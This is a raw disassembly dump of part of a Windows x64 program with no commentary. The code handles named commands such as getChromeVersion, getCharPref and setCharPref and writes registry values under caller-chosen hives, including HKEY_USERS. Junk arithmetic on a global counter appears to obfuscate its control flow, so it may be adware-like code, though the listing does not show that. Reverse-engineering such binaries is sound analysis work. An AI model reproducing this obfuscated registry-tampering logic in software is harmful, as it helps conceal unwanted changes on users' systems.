jmp 0x140052b43
mov rax, qword [r15]
mov qword [rsp + 0xb08], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, rbx
lea rdx, [rsp + 0xc8]
call fcn.140022a70
nop
mov rdx, qword [r13 + 0x40]
add rdx, rbx
lea rcx, [rsp + 0x1e0]
call fcn.140002bac
nop
mov rax, qword [r13 + 0x40]
add rax, 0x2cc
mov qword [rsp + 0x438], rax
mov edx, dword [rax]
lea rcx, [rsp + 0x12b8]
call fcn.1400513a0
mov qword [rsp + 0xe58], rax
cmp qword [rax + 0x18], 0x10
jb 0x140052ba4
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7e8]
call fcn.140002c48
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x948]
call fcn.140017bcc
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.14000d870
nop
mov rcx, qword [rsp + 0x948]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x610], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052c1b
mov rdx, qword [rsp + 0x610]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x620], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052c4e
mov rdx, qword [rsp + 0x620]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x12d0], 0x10
jb 0x140052c66
mov rcx, qword [rsp + 0x12b8]
call fcn.1400bcfa4
mov r15d, 0xf
mov qword [rsp + 0x12d0], r15
mov qword [rsp + 0x12c8], rdi
mov byte [rsp + 0x12b8], dil
mov rax, qword [rsp + 0x438]
mov edx, dword [rax]
lea rcx, [rsp + 0x1278]
call fcn.1400513a0
mov qword [rsp + 0xb18], rax
cmp qword [rax + 0x18], 0x10
jb 0x140052cad
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7f8]
call fcn.140002c48
mov rbx, rax
lea r8, [0x14013cf68]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x8d8]
call fcn.140017bcc
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.14000d870
nop
mov rcx, qword [rsp + 0x8d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x630], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052d24
mov rdx, qword [rsp + 0x630]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x640], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052d57
mov rdx, qword [rsp + 0x640]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1290], 0x10
jb 0x140052d6f
mov rcx, qword [rsp + 0x1278]
call fcn.1400bcfa4
mov qword [rsp + 0x1290], r15
mov qword [rsp + 0x1288], rdi
mov byte [rsp + 0x1278], dil
mov rcx, qword [rsp + 0x438]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x1298]
call fcn.1400513a0
mov qword [rsp + 0x1118], rax
cmp qword [rax + 0x18], 0x10
jb 0x140052db5
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x808]
call fcn.140002c48
mov rbx, rax
lea r8, [0x14013cf28]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x988]
call fcn.140017bcc
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.14000d870
nop
mov rcx, qword [rsp + 0x988]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x650], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052e2c
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x808]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x660], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052e5f
mov rdx, qword [rsp + 0x660]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x12b0], 0x10
jb 0x140052e77
mov rcx, qword [rsp + 0x1298]
call fcn.1400bcfa4
mov qword [rsp + 0x12b0], r15
mov qword [rsp + 0x12a8], rdi
mov byte [rsp + 0x1298], dil
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400531bd
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x734], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov r15, qword [rsp + 0x8e8]
mov qword [rsp + 0x20], r15
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400531bd
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x238]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400531bd
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x810], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x670]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400531bd
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0xc8]
mov rcx, r13
call fcn.1400573ec
mov rcx, rbx
call fcn.1400bdb00
mov rcx, r15
call fcn.1400bdb00
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x1401a8d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
mov r15d, 0xb
cmp ecx, r15d
jne 0x14005304b
mov eax, 0x93
mov dword [rsp + 0x280], eax
lea r8d, [rax + 0x55]
mov dword [rsp + 0x1a8], r8d
test eax, eax
je 0x140053042
test r8d, r8d
je 0x140053042
mov ecx, r8d
mov dword [rsp + 0x990], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x1a8], edx
mov eax, ecx
mov dword [rsp + 0x280], ecx
jmp 0x140053016
add eax, r8d
mov dword [0x1401a8d80], eax
test r14, r14
je 0x140053059
mov word [r14], r15w
mov word [r14 + 8], si
mov rcx, qword [rsp + 0x1b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x818], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005308c
mov rdx, qword [rsp + 0x818]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x680], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400530bf
mov rdx, qword [rsp + 0x680]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x958], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400530f2
mov rdx, qword [rsp + 0x958]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x690], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053125
mov rdx, qword [rsp + 0x690]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x828], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053158
mov rdx, qword [rsp + 0x828]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005318b
mov rdx, qword [rsp + 0x6a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400570c7
mov rdx, qword [rsp + 0x8f8]
jmp 0x140052684
test r14, r14
je 0x1400531d1
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x1b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053204
mov rdx, qword [rsp + 0x6b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x838], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053237
mov rdx, qword [rsp + 0x838]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005326a
mov rdx, qword [rsp + 0x6c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x9a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005329d
mov rdx, qword [rsp + 0x9a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400532d0
mov rdx, qword [rsp + 0x6d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x848], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053303
mov rdx, qword [rsp + 0x848]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053336
mov rdx, qword [rsp + 0x6e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x908], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053366
mov rdx, qword [rsp + 0x908]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x11e0], 0x10
jb 0x14005337e
mov rcx, qword [rsp + 0x11c8]
call fcn.1400bcfa4
mov qword [rsp + 0x11e0], 0xf
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400533cd
mov rdx, qword [rsp + 0x6f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
test r14, r14
je 0x140053408
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x858], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005343b
mov rdx, qword [rsp + 0x858]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x700], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005346e
mov rdx, qword [rsp + 0x700]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x968], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005349e
mov rdx, qword [rsp + 0x968]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x11e0], 0x10
jb 0x1400534b6
mov rcx, qword [rsp + 0x11c8]
call fcn.1400bcfa4
mov qword [rsp + 0x11e0], 0xf
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x710], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053505
mov rdx, qword [rsp + 0x710]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x140053863
test r14, r14
je 0x1400537bb
lea rcx, [rsp + 0x460]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x1f0], rdi
mov rcx, qword [rsp + 0x460]
mov qword [rsp + 0x1f0], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x1f0], rdx
lea rcx, [rsp + 0x210]
call fcn.140001ef4
nop
mov r8d, dword [0x1401a8d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
cmp ecx, 3
jne 0x140053641
movsd xmm3, qword [0x14013dd10]
movsd qword [rsp + 0x468], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x2c8], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movsd qword [rsp + 0x2c8], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x140053629
subsd xmm2, xmm3
movsd qword [rsp + 0x2c8], xmm2
divsd xmm3, qword [0x14013dd38]
movsd qword [rsp + 0x468], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x14013dd08]
ja 0x1400535f1
mov ebx, edi
mov r13d, 8
mov dword [rsp + 0x118], ebx
cmp ebx, r13d
jge 0x1400536ea
lea rcx, [rsp + 0x200]
call fcn.140001ef4
nop
movsxd rax, ebx
movzx r8d, byte [rsp + rax + 0x1f0]
lea rdx, str._.2x
lea rcx, [rsp + 0x200]
call fcn.14000fc08
mov rdx, qword [rsp + 0x200]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x998], r8d
lea rcx, [rsp + 0x210]
call fcn.14000e294
nop
mov rcx, qword [rsp + 0x200]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x478], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400536db
mov rdx, qword [rsp + 0x478]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ebx, dword [rsp + 0x118]
add ebx, r12d
jmp 0x140053649
mov rcx, qword [rsp + 0x210]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x9a8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb28], rax
test rax, rax
jne 0x140053714
call fcn.140002230
mov qword [r14 + 8], rax
mov word [r14], r13w
mov r8d, dword [0x1401a8d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
cmp ecx, 6
jne 0x140053789
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov rax, r15
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bc638
mov qword [rsp + 0xe68], rax
mov rcx, rax
call fcn.1400be0fc
nop
mov rcx, qword [rsp + 0x210]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x488], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400537bb
mov rdx, qword [rsp + 0x488]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r8d, dword [0x1401a8d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 6
jne 0x1400570c7
movsd xmm3, qword [0x14013dd10]
movsd qword [rsp + 0x498], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x388], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movsd qword [rsp + 0x388], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x140053846
subsd xmm2, xmm3
movsd qword [rsp + 0x388], xmm2
divsd xmm3, qword [0x14013dd38]
movsd qword [rsp + 0x498], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x14013dd08]
ja 0x14005380e
jmp 0x1400570c7
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x1400538fd
lea rdx, [rsp + 0x2e8]
mov rcx, qword [r13 + 0x40]
call fcn.1400515a8
nop
test r14, r14
je 0x1400538cb
mov rcx, qword [rsp + 0x2e8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x9b8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb38], rax
test rax, rax
jne 0x1400538bd
call fcn.140002230
mov qword [r14 + 8], rax
mov r13d, 8
mov word [r14], r13w
mov rcx, qword [rsp + 0x2e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400570c7
mov rdx, qword [rsp + 0x4a8]
jmp 0x140052684
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x140053aac
mov eax, dword [0x1401a8d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x12
jne 0x1400539cd
mov rbx, rdi
mov qword [rsp + 0x4b8], rbx
cmp rbx, 0x34
jae 0x14005396f
call fcn.1400bd978
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + rbx*8 + 0x16f0], xmm0
add rbx, r12
jmp 0x140053946
mov eax, edi
mov dword [rsp + 0x248], eax
cmp eax, 0x34
jge 0x1400539cd
mov ecx, 0x33
mov dword [rsp + 0x1b8], ecx
cmp ecx, eax
jle 0x1400539c8
movsxd rdx, ecx
movsd xmm0, qword [rsp + rdx*8 + 0x16f0]
movsd xmm1, qword [rsp + rdx*8 + 0x16e8]
comisd xmm0, xmm1
jbe 0x1400539c3
movsd qword [rsp + 0x1058], xmm0
movsd qword [rsp + rdx*8 + 0x16f0], xmm1
movsd qword [rsp + rdx*8 + 0x16e8], xmm0
sub ecx, r12d
jmp 0x140053982
add eax, r12d
jmp 0x140053971
lea rdx, [rsp + 0x430]
mov rcx, qword [r13 + 0x40]
call fcn.1400515e8
nop
test r14, r14
je 0x140053a1c
mov rcx, qword [rsp + 0x430]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x868], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb48], rax
test rax, rax
jne 0x140053a0e
call fcn.140002230
mov qword [r14 + 8], rax
mov r13d, 8
mov word [r14], r13w
mov r9d, dword [0x1401a8d80]
lea ecx, [r9 + 1]
imul ecx, r9d
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 7
jne 0x140053a7a
mov r8d, edi
mov dword [rsp + 0x1c8], edi
movsxd r10, r8d
cmp r10, 0x41
jae 0x140053a7a
mov eax, r9d
sub eax, r8d
lea ecx, [r8 + r9]
cdq
idiv ecx
mov dword [rsp + r10*4 + 0x1890], edx
add r8d, r12d
mov dword [rsp + 0x1c8], r8d
jmp 0x140053a4f
mov rcx, qword [rsp + 0x430]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400570c7
mov rdx, qword [rsp + 0x4c8]
jmp 0x140052684
lea rdx, str.getCharPref
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
je 0x140056b5b
lea rdx, str.getIntPref
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
je 0x140056b5b
lea rdx, str.setCharPref
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x140054043
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xe78], rax
lea r15, str.keyPath
mov rdx, r15
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xb58], rax
cmp byte [rax + 8], 4
jne 0x1400570c7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x1128], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xb68], rax
cmp byte [rax + 8], 4
jne 0x1400570c7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xe88], rax
lea rdx, [0x14013d020]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xb78], rax
cmp byte [rax + 8], 4
jne 0x1400570c7
mov byte [rsp + 0x62], dil
mov qword [rsp + 0x150], rdi
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x1078], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f814
mov qword [rsp + 0xb88], rax
lea rcx, [0x1401a9e10]
cmp rax, rcx
je 0x140053e68
mov r9d, dword [0x1401a8d80]
lea r8d, [r9 + 1]
mov ecx, r8d
imul ecx, r9d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xf
cmove r9d, r8d
mov dword [0x1401a8d80], r9d
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xe98], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xb98], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1138], rdx
lea rcx, [rsp + 0x2f8]
call fcn.140002c48
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x150], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x2f8]
call fcn.140002ee4
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x150], rbx
mov rcx, qword [rsp + 0x2f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053cc7
mov rdx, qword [rsp + 0x4d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rbx, str.param
cmp qword [rsp + 0x150], rdi
je 0x140053e68
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xba8], rax
mov rdx, r15
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xea8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbb8], rdx
lea rcx, [rsp + 0x3e8]
call fcn.140002c48
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x10a0], rax
lea rdx, [0x14013d020]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xbc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xeb8], rdx
lea rcx, [rsp + 0x308]
call fcn.140002c48
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xbd8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0x1088], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbe8], rdx
lea rcx, [rsp + 0x398]
call fcn.140002c48
nop
mov r9, qword [rsp + 0x150]
lea r8, [rsp + 0x3e8]
lea rdx, [rsp + 0x308]
lea rcx, [rsp + 0x398]
call fcn.14003c49c
mov byte [rsp + 0x62], al
mov rcx, qword [rsp + 0x398]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053e03
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x308]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053e36
mov rdx, qword [rsp + 0x4f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x508], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005401d
mov rdx, qword [rsp + 0x508]
